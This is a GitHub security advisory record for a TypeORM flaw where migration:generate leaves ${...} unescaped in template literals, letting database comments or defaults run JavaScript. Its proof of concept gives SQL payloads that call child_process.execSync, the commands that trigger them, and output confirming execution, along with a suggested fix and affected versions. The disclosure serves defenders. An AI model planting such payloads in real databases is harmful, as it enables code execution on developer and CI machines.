{"id":"GHSA-2rp8-mm9q-fp49","summary":" TypeORM: migration:generate template-literal code injection","details":"### Summary\n\n`typeorm migration:generate` embeds database schema metadata into JS/TS template literals, escaping backticks but not `${...}`. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.\n\n### Details\n\n`MigrationGenerateCommand.ts` (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:\n\n```typescript\n\"        await queryRunner.query(`\" +\n    upQuery.query.replaceAll(\"`\", \"\\\\`\") +\n    \"`\" + ...\n```\n\nIntrospected schema strings reach this sink through driver query runners:\n\n| Driver | Metadata source | Source |\n|---|---|---|\n| Postgres | column `DEFAULT`, `COMMENT`, `CHECK` constraints, view definitions | [`PostgresQueryRunner.ts:1782`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L1782), [`L1898`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L1898), [`L2287`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L2287), [`L4125`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresQueryRunner.ts#L4125) |\n| MySQL/MariaDB | `COLUMN_DEFAULT`, `COLUMN_COMMENT` | [`MysqlQueryRunner.ts:2873-2974`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlQueryRunner.ts#L2873-L2974), [`L3580-3583`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlQueryRunner.ts#L3580-L3583) |\n| CockroachDB | Same patterns as Postgres | [`CockroachQueryRunner.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/cockroachdb/CockroachQueryRunner.ts) |\n\n`escapeComment()` on each driver strips only null bytes, leaving `${...}` intact:\n\n```typescript\nprotected escapeComment(comment?: string) {\n    if (!comment) return comment\n    comment = comment.replaceAll(\"\\u0000\", \"\")\n    return comment\n}\n```\n\nWhen the migration file is loaded (`migration:run`, `import`, or `require`), the JS engine evaluates `${...}` as live interpolation.\n\n**Affected source:**\n\n| File | Lines | Role |\n|---|---|---|\n| [`MigrationGenerateCommand.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/commands/MigrationGenerateCommand.ts#L117-L138) | 117-138 | Template-literal construction (sink) |\n| [`PostgresDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/postgres/PostgresDriver.ts#L1886-L1891) | 1886-1891 | `escapeComment()` — Postgres |\n| [`MysqlDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/mysql/MysqlDriver.ts#L1322-L1328) | 1322-1328 | `escapeComment()` — MySQL |\n| [`CockroachDriver.ts`](https://github.com/typeorm/typeorm/blob/bf47c9f/src/driver/cockroachdb/CockroachDriver.ts#L1236-L1241) | 1236-1241 | `escapeComment()` — CockroachDB |\n\n**Confirmed injection vectors (MySQL):**\n\n| Vector | Result | Notes |\n|---|---|---|\n| Column `COMMENT` | Confirmed | Proven in PoC below |\n| Column `DEFAULT` | Confirmed | Attacker sets `ALTER TABLE ... DEFAULT '${...}'`; payload appears in generated migration |\n| `CHECK` constraint | Not exploitable | MySQL `information_schema.CHECK_CONSTRAINTS` strips content from `CHECK_CLAUSE` |\n| View definitions | Not tested | Requires PostgreSQL `ViewEntity` introspection; likely exploitable via `pg_get_viewdef()` |\n\n**Suggested fix:** Escape `${` to `\\${` (and `\\\\` to `\\\\\\\\`) before embedding query strings into template literals, or switch to emitting the SQL as a `JSON.stringify()`-encoded regular string argument.\n\n### PoC\n\n**Prerequisites:**\n- Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running `migration:generate`\n- The attacker has DDL/write access to the database, **or** the application exposes a feature allowing users to set column `COMMENT`, `DEFAULT`, or view definition text\n\n**Steps:**\n\n1. **Inject payload into schema metadata.** Set a column comment or default containing `${...}`:\n\n```sql\n-- PostgreSQL\nCOMMENT ON COLUMN users.name IS '${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}';\n\n-- MySQL\nALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}';\n```\n\n2. **Run migration generation** on the developer/CI machine:\n\n```bash\nnpx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration\n```\n\n3. **Inspect the generated file.** The output `.ts` file contains unescaped `${...}`:\n\n```typescript\nexport class NextMigration1234567890 implements MigrationInterface {\n  public async up(queryRunner: QueryRunner): Promise\u003cvoid\u003e {\n    await queryRunner.query(\n      `COMMENT ON COLUMN \"users\".\"name\" IS '${process.mainModule.require(\"child_process\").execSync(\"id \u003e /tmp/pwned\")}'`,\n    );\n  }\n  // ...\n}\n```\n\n4. **Run or revert the migration:**\n\n```bash\nnpx typeorm migration:revert -d ./data-source.ts\n```\n\nOutput confirms code execution — `id` ran on the host and its output was interpolated into the SQL:\n\n```\nALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'\n```\n\nThe payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in `down()`. Attacker-influenced entity metadata places it in `up()`. Either direction executes the code when the method runs.\n\n### Impact\n\n**Code injection / RCE.** An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.\n\nCI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running `migration:generate` against a database with attacker-influenced schema metadata is affected.","aliases":["CVE-2026-73651"],"modified":"2026-09-10T03:51:09.931601769Z","published":"2026-07-21T21:59:23Z","database_specific":{"github_reviewed_at":"2026-07-21T21:59:23Z","nvd_published_at":null,"cwe_ids":["CWE-94"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/typeorm/typeorm/security/advisories/GHSA-2rp8-mm9q-fp49"},{"type":"WEB","url":"https://github.com/typeorm/typeorm/commit/41d1c62fe49f99c3ca916d4d986f61ee9f45d519"},{"type":"WEB","url":"https://github.com/typeorm/typeorm/commit/b175f9b8be422edd2a2ac035ba90c3f2ce782dfe"},{"type":"PACKAGE","url":"https://github.com/typeorm/typeorm"},{"type":"WEB","url":"https://github.com/typeorm/typeorm/releases/tag/0.3.31"},{"type":"WEB","url":"https://github.com/typeorm/typeorm/releases/tag/1.1.0"}],"affected":[{"package":{"name":"typeorm","ecosystem":"npm","purl":"pkg:npm/typeorm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.3.31"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-2rp8-mm9q-fp49/GHSA-2rp8-mm9q-fp49.json"}},{"package":{"name":"typeorm","ecosystem":"npm","purl":"pkg:npm/typeorm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-2rp8-mm9q-fp49/GHSA-2rp8-mm9q-fp49.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N"}]}